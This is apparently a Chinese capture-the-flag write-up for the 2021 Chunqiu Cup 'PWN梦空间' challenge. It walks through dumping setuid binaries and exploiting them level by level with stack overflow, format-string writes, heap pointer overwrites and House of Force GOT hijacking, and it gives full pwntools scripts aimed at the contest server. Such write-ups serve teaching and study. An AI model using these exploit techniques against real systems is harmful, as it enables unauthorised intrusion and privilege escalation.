2021年春秋杯秋季赛 PWN梦空间

参考链接:【WP】春秋杯秋季赛“PWN梦空间”|设计思路与解析

复现地址:百度“AI的光”冬令营白帽黑客专项训练赛之春秋杯2021赛季

题目概览

题目没有给文件,nc 上去之后输入 y 给了 shell,ls -al 查看文件

upwind@Vik1ng:~$ nc 123.57.131.167 15829
Now you are in the city. 
Then, do you want to enter the next level? (y/n) y
ls -al
total 52
drwxr-xr-x 2 root  root  ? 4096 Nov 18 12:36 bin
drwxr-xr-x 2 root  root  ? 4096 Nov 17 10:06 dev
drwxr-xr-x 2 root  root  ? 4096 Nov 18 12:20 etc
drwxr-xr-x 2 root  root  ? 4096 Nov 18 16:34 files
drwxr-x--- 1 hotel hotel ? 4096 Nov 26 05:58 hotel
drwxr-xr-x 3 root  root  ? 4096 Nov 18 12:23 lib
drwxr-xr-x 2 root  root  ? 4096 Nov 17 10:06 lib64
-r-xr-x--- 1 city  city  ? 6376 Nov 18 16:35 main
-rwsr-sr-x 1 root  root  ? 8704 Nov 18 16:35 next

文件夹下有一个 next 文件,是有 s 权限的,参考 pwnable.kr 的 fd 题目,s 权限的可执行文件在运行时能够拥有文件所有者的权限,我们通过 cat 命令和 pwntools 插件 recv 配合把 next 文件 dump 下来。

先用 pwntools remote 连接,开启 debug,在 cat 的时候多次 查看接收的字符数。

image-20220210220357375

接收函数如下:

def dump_next():
    p.sendline("cat next")
    res = p.recv(0x1000)
    res1 = p.recv(0x1000)
    res2 = p.recv(0x200)
    with open("next", "wb") as f:
        f.write(res)
        f.write(res1)
        f.write(res2)

ida 反编译出代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setgid(0);
  setuid(0);
  system("/bin/chroot --userspec=1002:1002 /hotel timeout 50 /main");
  return 0;
}

可以看出,程序通过 setgid(0)setuid(0) 获得了 root 权限,chroot 命令使用户和用户组变成 1002:1002,变更根目录到 /hotel,设置超时时间,运行新的根目录下的 main,50秒后退出。

这里我们可以查看 /etc/group 文件,uid 为 1002 对应 hotel 用户,并且还有其他用户如 snow、home、gamma,我们可以推断,题目是通过利用程序的漏洞拿到新的用户的权限,最终拿到 root 权限。

cat /etc/group
root:x:0:
city:x:1001:
hotel:x:1002:
snow:x:1003:
home:x:1004:
gamma:x:1005:
user:x:9999:

查看 files 文件夹,可以看出,city 文件的大小和当前根目录下 main 文件的大小相同。

cd files
ls -al
total 48
-r--r--r-- 1 root root ?  6376 Nov 18 16:35 city
-r--r--r-- 1 root root ? 10496 Nov 18 16:35 home
-r--r--r-- 1 root root ?  6352 Nov 18 16:35 hotel
-r--r--r-- 1 root root ?  6368 Nov 18 16:35 snow
-r--r--r-- 1 root root ? 10528 Nov 18 16:35 world

把文件都 dump 下来,和之前 cat next 相似,接下来就可以分析每一个文件。

文件分析

city

代码分析

image-20220211010310760

解题步骤

city 是 nc 后第一个执行的文件,输入 y 时已经拿到 shell,这一关主要用于熟悉题目结构,接下来输入 next 进入下一关。

hotel

image-20220211143407047

代码分析

image-20220211113409804

image-20220211140346214

主函数中的 read 函数存在栈溢出,而且代码段里存在 system("/bin/bash"); 可以考虑 ret2text。

exp

def pwn_hotel():
    p.sendline('./next')
    system = 0x4006B6
    payload = 'a'*(0x30+8)
    payload += p64(system)
    p.sendlineafter("you?\n", payload)

snow

image-20220211144648461

代码分析

image-20220211144903356

image-20220211150958033

主函数的 printf 函数存在格式化字符串漏洞,而且存在可以读写执行的段,代码段上还存在 system("/bin/bash");

解题步骤

在 printf 函数下断点,运行后查看栈上信息

image-20220211150032426

image-20220211150112933

通过 vmmap 可以看出,code 是可读写执行的段

image-20220211150222598

我们可以通过格式化字符串漏洞的任意地址写,把返回地址 0x4008b0 位置的代码改为 jmp 0x4008b7,这样程序返回的时候就会跳转到后门函数上执行。

image-20220211152136574

这里使用 ida 的 keypatch 插件,查看 jmp 0x4008b7 的机器码为 EB 05,小端写入也就是 0x5EB

image-20220211153555549

用 fmtarg 查看写入位置。

image-20220212163857310

可以看出,写入后, 0x4008b0 位置的代码已经改变。

exp

def pwn_snow():
    p.sendline('./next')
    payload = '%1515c%43$hn'        #$hn 表示写入两个字节
    p.sendlineafter('you?\n', payload)

home

代码分析

image-20220212162045108

image-20220212194534364

image-20220212154105045

13 行的函数 sub_4008A7 对内存空间进行了初始化,各个房间的名字存储到 ptr[i][1] 里,ptr[i][2] 存储的是 puts_plt 的地址。

image-20220212194645104

判断输入的房间名字是否在 ptr[i][1] 里(L26),如果存在,先调用原本存储在 ptr[i][2] 的 puts_plt 输出进入房间的提示(L31),然后 free 掉 ptr[i] 块(L33)。如果该房间已经 free 过,则重新填充 ptr[i] 块(L39),执行的函数填写在 ptr[i][2],房间名的地址会被填写在 ptr[i][1](L40)。

image-20220212163241371

代码段上存在 system("/bin/bash");,所以我们可以改变填入 ptr[i][2] 的函数,使程序执行后门函数。

解题步骤

运行后查看堆上的内容,初始化之后:

image-20220212170701213

重新填充 ptr[i] 块之后:

image-20220212170757895

exp

def pwn_home():
    p.sendline('./next')
    system = 0x400896
    p.sendlineafter('go?\n', 'bedroom')
    p.sendlineafter('go?\n', 'bedroom')
    p.sendlineafter('name: ', 'a\x00'*8+p64(system))
    p.sendlineafter('go?\n', 'a')

world

代码分析

image-20220212222827186

第一次 create 的时候会创建 world 块,此时读入的字节数正好比块大小多了 8 个字节,能覆盖到 top_chunk 的 size 区域,而且对于后续的 create 来说,malloc 的大小没有限制,所以可以有 House of Force 的思路。

后续就通过劫持 free_got 来泄露 libc 地址和开 shell。

解题步骤

修改 top_chunk 到 free_got
p.sendafter('name: ', 'a'*0xf8 + p64(i64_max))

image-20220213213330362

create(str(free_got - 0x28 - (heap_addr + 0x240)), 'bbbb')

image-20220213213350220

劫持 free_got 到 call_puts
payload  = 'a'*8
payload += p64(call_puts).replace(b'\x00',b'\t')[:-1] #使用 replace 清空无关字节
create(0x88, payload)

劫持之前:

image-20220213213454829

劫持之后:

image-20220213213607228

修改初始化标志,使程序回到 create world
create(0x28, 'a'*0x10)

image-20220213012805065

image-20220213012735634

image-20220213213745382

此时的堆正好来到初始化标志的地方,通过 create 直接篡改,回到修改 top_chunk 的步骤。

对 world 块进行布置并释放,泄露 libc
payload  = p64(0)
payload += p32(0) + p32(2)
payload += p64(0x6020e0)
payload += p64(0x602030)
payload += '\x00' * (0xf8-0x20)
payload += p64(i64_max)
p.sendafter('name: ', payload)
destory('world', False)

image-20220213214529225

0x6020DC 的地方存放的是已经 create 的数量,0x6020E0 存放的是 ptr 指针,用于记录 create 的 chunk 的地址。

image-20220213233022754

在 destory 的时候,要根据 ptr 的地址去 free,我们把 0x602030,也就是指向 _IO_puts 的地址放在第一个 free 的位置,由于现在 free_got 已经被劫持为 puts,所以会把 _IO_puts 在 libc 的地址泄露出来。

修改 top_chunk 到 free_got
create(str(free_got - 0x28 - 0x6021c0), 'cccc', False)

image-20220213214604143

劫持 free_got 到 system
payload  = 'a'*8
payload += p64(system).replace(b'\x00',b'\t')[:-1]
create(0x88, payload)

image-20220213214650133

开 shell
create(0x18, '/bin/sh')
destory('/bin/sh')

exp

def create(size, name, ac=True):
    payload = 'create ' + str(size) + ' ' + name
    if ac:
        p.sendlineafter('accept\n', payload)
    else:
        p.sendline(payload)

def destory(name, ac=True):
    payload = 'destory ' + name
    if ac:
        p.sendlineafter('accept\n', payload)
    else:
        p.sendline(payload)

l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
i64_max = (1<<64)-1

def pwn_world():
    p.sendline('./next')
    p.sendlineafter('?\n', 'create')
    p.recvuntil('address is: ')
    heap_addr = int(p.recvline(), 16)# - 0x10
    success("heap addr -> %s" % hex(heap_addr))
    p.sendafter('name: ', 'a'*0xf8 + p64(i64_max))

    create(0x18, 'aaa', False)
    create(0x18, 'bbb')
    create(0x18, 'ccc')
    create(0x18, 'ddd')
    create(0x18, 'eee')
    destory('ccc')
    destory('aaa')
    create(0x18, 'aaa')

    free_got = 0x602018

    # create(str(free_got - heap_addr - 0x100 - 0x80 - 0x18 - 0xc0), 'bbbb')
    create(str(free_got - 0x20 - (heap_addr + 0x240)), 'bbbb')

    destory('ddd')
    destory('aaa')

    call_puts = 0x4010CF

    payload  = 'a'*8
    payload += p64(call_puts).replace(b'\x00',b'\t')[:-1]
    create(0x88, payload)

    create(0x28, 'a'*0x10)

    p.sendlineafter('accept\n', 'create')

    payload  = p64(0)
    payload += p32(0) + p32(2)
    payload += p64(0x6020e0)
    payload += p64(0x602030)
    payload += '\x00' * (0xf8-0x20)
    payload += p64(i64_max)
    p.sendafter('name: ', payload)

    destory('world', False)
    p.recvuntil('world.\n')
    l.address = u64(p.recv(6)+'\0\0') - l.sym.puts
    success('libc_address -> %s' % hex(l.address))

    system = l.sym.system
    success('system -> %s' % hex(system))

    create(str(free_got - 0x20 - 0x6021c0), 'cccc', False)

    payload  = 'a'*8
    payload += p64(system).replace(b'\x00',b'\t')[:-1]
    create(0x88, payload)

    create(0x18, '/bin/sh')
    destory('/bin/sh')

获取 flag

$ ls -al
total 64
drwxr-xr-x 2 root  root  ?  4096 Nov 18 12:36 bin
lrwxrwxrwx 1 root  root  ?     1 Nov 18 16:35 death -> /
drwxr-xr-x 2 root  root  ?  4096 Nov 17 10:06 dev
drwxr-xr-x 2 root  root  ?  4096 Nov 18 12:20 etc
drwxr-xr-x 3 root  root  ?  4096 Nov 18 12:23 lib
drwxr-xr-x 2 root  root  ?  4096 Nov 17 10:06 lib64
drwxr-x--- 2 root  root  ? 20480 Nov 18 16:34 life
-r-xr-x--- 1 gamma gamma ? 10528 Nov 18 16:35 main
-rwsr-sr-x 1 root  root  ?  8704 Nov 18 16:35 next

进入到最后的目录之后,给了一个 life 文件夹,里面是一些假的 flag,还有一个 death 软链接。

细心一点可以注意到,使用 ls -al 命令的时候,当前目录 . 和 上级目录 .. 都没有显示出来,原因是 ls 文件经过 patch 把显示隐藏文件的功能去除了。

$ cat ...
cat: ...: Is a directory
$ cat .../.*
cat: .../.: Is a directory
cat: .../..: Is a directory
flag{b7a0ea5c-90a9-4a9c-8e1f-2c78ed170a3c}

这里可以使用 cat ... 命令测试出隐藏的 ... 目录,再通过 cat .../.* 获取最终的 flag。

完整 exp

dump.py

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'

p = remote('123.57.131.167', 22457)

def dump_city():
    p.sendline("cat city")
    res1 = p.recv(0x1000)
    res2 = p.recv(0x8e8)
    with open("city", "wb") as f:
        f.write(res1)
        f.write(res2)

def dump_hotel():
    p.sendline("cat hotel")
    res = p.recv(0x5b4)
    res1 = p.recv(0x1000)
    res2 = p.recv(0x31c)
    with open("hotel", "wb") as f:
        f.write(res)
        f.write(res1)
        f.write(res2)

def dump_snow():
    p.sendline("cat snow")
    res = p.recv(0x5b4)
    res1 = p.recv(0x1000)
    res2 = p.recv(0x32c)
    with open("snow", "wb") as f:
        f.write(res)
        f.write(res1)
        f.write(res2)

def dump_world():
    p.sendline("cat world")
    res = p.recv(0x5b4)
    res1 = p.recv(0x1000)
    res2 = p.recv(0x1000)
    res3 = p.recv(0x36c)
    with open("world", "wb") as f:
        f.write(res)
        f.write(res1)
        f.write(res2)
        f.write(res3)

def dump_home():
    p.sendline("cat home")
    res = p.recv(0x5b4)
    res1 = p.recv(0x1000)
    res2 = p.recv(0x1000)
    res3 = p.recv(0x34c)
    with open("home", "wb") as f:
        f.write(res)
        f.write(res1)
        f.write(res2)
        f.write(res3)

def dump_ls():
    p.sendline("cd bin")
    p.sendline("cat ls")
    with open("ls", "wb") as f:
        # res = p.recv(0x5b4)
        # f.write(res)
        for i in range(0x1e):
            res = p.recv(0x1000)
            f.write(res)
        res = p.recv(0xe78)
        f.write(res)

p.sendlineafter("(y/n) ", 'y')
dump_next()

p.sendline("cd files")
dump_city()
dump_hotel()
dump_snow()
dump_home()
dump_world()

p.interactive()

pwn.py

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'

p = remote('123.57.131.167', 22457)

def pwn_hotel():
    p.sendline('./next')
    system = 0x4006B6
    payload = 'a'*0x38
    payload += p64(system)
    p.sendlineafter("you?\n", payload)

def pwn_snow():
    p.sendline('./next')
    payload = '%1515c%43$hn'
    p.sendlineafter('you?\n', payload)

def pwn_home():
    p.sendline('./next')
    system = 0x400896
    p.sendlineafter('go?\n', 'bedroom')
    p.sendlineafter('go?\n', 'bedroom')
    p.sendlineafter('name: ', 'a\x00'*8+p64(system))
    p.sendlineafter('go?\n', 'a')


def create(size, name, ac=True):
    payload = 'create ' + str(size) + ' ' + name
    if ac:
        p.sendlineafter('accept\n', payload)
    else:
        p.sendline(payload)

def destory(name, ac=True):
    payload = 'destory ' + name
    if ac:
        p.sendlineafter('accept\n', payload)
    else:
        p.sendline(payload)

l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
i64_max = (1<<64)-1

def pwn_world():
    p.sendline('./next')
    p.sendlineafter('?\n', 'create')
    p.recvuntil('address is: ')
    heap_addr = int(p.recvline(), 16) - 0x10
    success("heap_addr -> %s" % hex(heap_addr))
    p.sendafter('name: ', 'a'*0xf8 + p64(i64_max))

    create(0x18, 'aaa', False)
    create(0x18, 'bbb')
    create(0x18, 'ccc')
    create(0x18, 'ddd')
    create(0x18, 'eee')
    destory('ccc')

    free_got = 0x602018

    # create(str(free_got - heap_addr - 0x100 - 0x80 - 0x18 - 0xc0), 'bbbb')
    create(str(free_got - 0x28 - (heap_addr + 0x240)), 'bbbb')

    destory('ddd')
    destory('aaa')

    call_puts = 0x4010CF

    payload  = 'a'*8
    payload += p64(call_puts).replace(b'\x00',b'\t')[:-1]
    create(0x88, payload)

    create(0x28, 'a'*0x10)

    p.sendlineafter('accept\n', 'create')

    payload  = p64(0)
    payload += p32(0) + p32(2)
    payload += p64(0x6020e0)
    payload += p64(0x602030)
    payload += '\x00' * (0xf8-0x20)
    payload += p64(i64_max)
    p.sendafter('name: ', payload)

    destory('world', False)
    p.recvuntil('world.\n')
    l.address = u64(p.recv(6)+'\0\0') - l.sym.puts
    success('libc_address -> %s' % hex(l.address))

    system = l.sym.system
    binsh = l.search('/bin/sh\0').next()
    success('system -> %s' % hex(system))
    success('/bin/sh -> %s' % hex(binsh))

    create(str(free_got - 0x28 - 0x6021c0), 'cccc', False)

    payload  = 'a'*8
    payload += p64(system).replace(b'\x00',b'\t')[:-1]
    create(0x88, payload)

    create(0x18, '/bin/sh')
    destory('/bin/sh')

p.sendlineafter("(y/n) ", 'y')
pwn_hotel()
pwn_snow()
pwn_home()
pwn_world()

p.sendline('./next')
p.sendlineafter('world!\n', 'cat .../.*')

p.interactive()